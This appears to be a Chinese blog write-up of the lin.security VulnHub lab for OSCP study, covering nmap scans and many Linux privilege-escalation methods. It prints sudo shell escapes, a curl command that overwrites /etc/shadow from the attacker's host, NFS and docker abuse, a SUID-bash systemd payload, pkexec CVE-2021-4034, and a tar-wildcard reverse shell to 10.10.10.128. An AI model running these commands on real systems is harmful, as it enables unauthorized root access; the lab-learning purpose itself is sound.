公众号:泷羽Sec-尘宇安全

前言

oscp备考,oscp系列——lin.security_v1.0靶场,32提权方法,nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,/etc/passwd哈希解码提权

难度简单偏下,不过提权方式有很多

  • 对于低权限shell获取涉及:ssh连接,敏感隐藏文件
  • 对于提权:nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,/etc/passwd哈希解码提权

下载地址:

https://www.vulnhub.com/entry/linsecurity-1,244/

下载完成之后需要配置,ens33环境,可以参考这一篇文章
lin.security_v1.0靶机_lin.security 搭建-CSDN博客
嫌麻烦的可以现在我已经配置好的靶机

https://pan.quark.cn/s/90ee80dd2e7c

靶机的作者对靶机有描述
image.png

在in.security,我们想开发一个Linux虚拟机,在撰写本文时,该虚拟机基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,允许用户升级到机箱上的root。这是为了帮助理解某些内置应用程序和服务如果配置错误,可能会被攻击者滥用。
我们已将该框配置为模拟真实世界的漏洞(尽管在单个主机上),这将帮助您完善本地权限升级技能、技术和工具集。有许多挑战,从相当简单到中等水平,我们很高兴看到您用来解决这些问题的方法!
该图像略低于1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入一个名为lin.security的VM,并使用NAT适配器进行配置,但可以通过首选虚拟化平台的首选项将其更改为桥接。
要开始,您可以使用凭据登录主机:bob/secret

告诉我们这个靶机有很多漏洞,提示了一个账号密码,进行提权

nmap

主机发现

└─# nmap -sn 10.10.10.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:36 CST
Nmap scan report for 10.10.10.1 (10.10.10.1)
Host is up (0.00060s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2 (10.10.10.2)
Host is up (0.00020s latency).
MAC Address: 00:50:56:F2:C6:98 (VMware)
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.00026s latency).
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Nmap scan report for 10.10.10.254 (10.10.10.254)
Host is up (0.00022s latency).
MAC Address: 00:50:56:F7:20:A7 (VMware)
Nmap scan report for 10.10.10.128 (10.10.10.128)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.91 seconds

端口扫描

└─# nmap --min-rate 10000 -p- 10.10.10.130    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:37 CST
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.00071s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
2049/tcp  open  nfs
34283/tcp open  unknown
37763/tcp open  unknown
38521/tcp open  unknown
58085/tcp open  unknown
MAC Address: 00:0C:29:97:4D:A5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 44.00 seconds



└─# nmap --min-rate 10000 -p- 10.10.10.130 -sU
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:38 CST
Warning: 10.10.10.130 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.0012s latency).
Not shown: 65451 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT      STATE SERVICE
111/udp   open  rpcbind
2049/udp  open  nfs
39992/udp open  unknown
47918/udp open  unknown
54762/udp open  unknown
57397/udp open  unknown
MAC Address: 00:0C:29:97:4D:A5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 72.99 seconds

详细端口扫描

└─# nmap -sV -sT -sC -O -p22,111,2049,34283,37763,38521,58085 10.10.10.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:42 CST
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.0012s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34283/tcp   mountd
|   100005  1,2,3      46589/udp6  mountd
|   100005  1,2,3      53143/tcp6  mountd
|   100005  1,2,3      57397/udp   mountd
|   100021  1,3,4      37763/tcp   nlockmgr
|   100021  1,3,4      41305/tcp6  nlockmgr
|   100021  1,3,4      47918/udp   nlockmgr
|   100021  1,3,4      59835/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
34283/tcp open  mountd   1-3 (RPC #100005)
37763/tcp open  nlockmgr 1-4 (RPC #100021)
38521/tcp open  mountd   1-3 (RPC #100005)
58085/tcp open  mountd   1-3 (RPC #100005)
MAC Address: 00:0C:29:97:4D:A5 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds
                                                             

vuln扫描

└─# nmap --script=vuln -p22,111,2049,34283,37763,38521,58085 10.10.10.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:43 CST
Nmap scan report for 10.10.10.130 (10.10.10.130)
Host is up (0.00047s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
2049/tcp  open  nfs
34283/tcp open  unknown
37763/tcp open  unknown
38521/tcp open  unknown
58085/tcp open  unknown
MAC Address: 00:0C:29:97:4D:A5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

提权

使用账号密码进行ssh连接

bob/secret

sudo提权,25种

image.png
发现可以使用很多命令

/bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env,
        /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat,
        /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git,
        /usr/bin/script, /usr/bin/scp

直接ash | dash | sh | bash | csh | zsh提权

这里以dash举例

sudo /bin/dash

image.png

awk提权

sudo awk 'BEGIN {system("/bin/sh")}'

image.png

curl提权

先在kali做一些准备,生成明文密码的hash
-m指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash
参照kali中shadow文件root用户的hash值替换保存起来备用

mkpasswd -m sha-512 123456
cat /etc/shadow | grep root
vim shadow_root

root:$6$UKOY2VpXTU3I9ylS$WxSICICPMBCkxCVZGq/uKCt7SYJUulcIriyKDhKzZgNCtSy9VXaEMKvcGK5A3hrHhTOfevNny1MUXRtTmgozK/:20103:0:99999:7:::

image.png

在kali上面制作一个简易的web服务器,使用curl命令下载并覆盖原有的shadow文件,直接使用su命令,输入123456切换成功

sudo curl http://10.10.10.128/shadow_root -o /etc/shadow

image.png

ed提权

sudo ed
!/bin/sh

image.png

env提权

sudo env /bin/sh

image.png

expect提权

sudo expect -c 'spawn /bin/sh;interact'

image.png

find提权

sudo find . -exec /bin/sh \; -quit

image.png

ftp提权

sudo ftp
!/bin/sh

image.png

less提权

sudo less /etc/profile
!/bin/sh

image.png

man提权

sudo man man
!/bin/sh

image.png

scp提权

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

image.png

socat提权

image.png

ssh提权

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

image.png

vi提权

sudo vi -c ':!/bin/sh' /dev/null

image.png

pico提权

sudo pico
^R^X  # ^R和^X表示需要选中的选项,其实是ctrl+R ctrl+X
reset; sh 1>&0 2>&0

image.png

rvim提权

sudo rvim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

image.png

perl提权

sudo perl -e 'exec "/bin/sh";'

image.png

tclsh提权

sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr

image.png

git提权

sudo git -p help config
!/bin/sh

image.png

script提权

sudo script -q /dev/null

image.png

nfs提权

nmap扫描发现存在,nfs

2049/tcp  open  nfs

尝试挂载一下,发现没有权限

mkdir nfs                                           
mount -t nfs 10.10.10.130:/home/peter /tmp/nfs/

image.png
看来需要创建一个相同的用户才行
先给他取消挂载,发现取消不了,查看一下进程,给他取消掉

fuser -m -v /tmp/nfs

kill -9 进程号

image.png

查看一下peter用户信息

image.png
在kali上面创建一个用户

groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005

用完之后可以删除用户

sudo userdel -r peter

拥有权限了
image.png

ssh公钥写入

进行公钥写入
在root用户下,执行ssh-keygen命令生成秘钥

ssh-keygen -t rsa

image.png

在nfs目录创建一个.ssh目录,将刚才生成的公钥id_rsa.pub复制到/tmp/nfs/.ssh目录下,并重命名为authorized_keys

cp id_rsa.pub /tmp
mkdir .ssh
cd .ssh
cp /tmp/id_rsa.pub authorized_keys

image.png
连接成功,发现可以使用strace命令,查找一下,发现可以直接进行提权

sudo+strace提权

image.png

sudo strace -o /dev/null /bin/sh

image.png

利用 docker 组提权

发现peter在docker这个组里面
image.png
可以根据https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

systems 配置不当提权

历史上,Linux 的启动一直采用 init 进程:

sudo /etc/init.d/sshd start
# 或者
service sshd start

这种方法有两个缺点:

一是启动时间长。init 进程是串行启动,只有前一个进程启动完,才会启动下一个进程。

二是启动脚本复杂。init 进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。

Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用 init 了。Systemd 取代了 initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。 systemctl 是 Systemd 的主命令,用于管理系统。

# 重启系统
sudo systemctl reboot

查看 peter 用户的 systemd 配置,发现 peter 这个用户拥有 debug.service 文件,并且它对这个文件拥有读和写的权限。

whereis systemd
ls -al /lib/systemd/system/debug.service

image.png
如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的 .service 文件并更改 run() 命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看 .service 文件,这里我们可以修改 ExecStart 文件,除此之外还可以修改 ExecStop 和 ExecReload 来在停止和重启服务时执行命令。 查看该 .service 文件:

cat /lib/systemd/system/debug.service

image.png
ExecStart 为 /root/debug,这是一个二进制服务并且该服务以 root 身份运行。 接下来为了利用,使用一个类似 ssh 可以 sudo 执行的方法。 让 root 身份来创建一个 systemdexpl.sh 脚本,将 /bin/bash 文件复制到 systemdbash 并设置一个 SUID 位并且赋予执行权限。

echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

修改 debug.service 文件来调用我们的脚本(root 调用 debug.service,而 debug.service 又调用我们的 systemdexpl.sh 脚本)修改 ExecStart 为当前脚本。

vim /lib/systemd/system/debug.service

image.png

suid,pkexec提权

使用命令查找

find / -perm -u=s -type f 2>/dev/null

发现pkexec
image.png
尝试提权,项目地址

https://github.com/arthepsy/CVE-2021-4034

image.png

suid,taskset提权

image.png
发现存在提权
image.png

taskset 1 /bin/sh

image.png

计划任务+tar通配符提权

发现一个定时任务
image.png
发现是tar命令和通配符*,尝试通配符tar提权
进入bob用户目录,创建

echo "" > --checkpoint=1
echo "mkfifo /tmp/vqfv; nc nc 10.10.10.128 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"

image.png

反弹成功,获取root权限
image.png

/etc/passwd哈希解码提权

linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中

比如:root:\x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上

/etc/passwd/

普通用户权限能够查看

保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分

1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型

/etc/shadow/

只有root用户权限能够查看

保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分

1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留

#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值

查看一下etc/passwd发现存在明文密码,尝试解密
image.png

insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh

image.png
得到

insecurity/P@ssw0rd!

切换一下用户,得到root权限
image.png

敏感隐藏文件

进行信息收集,发现susan用户目录,有一个不同的隐藏文件,打开发现一串字符
image.png
也可以使用

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

进行查找
尝试用户切换,切换成功,不过这个用户的权限更低
image.png

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐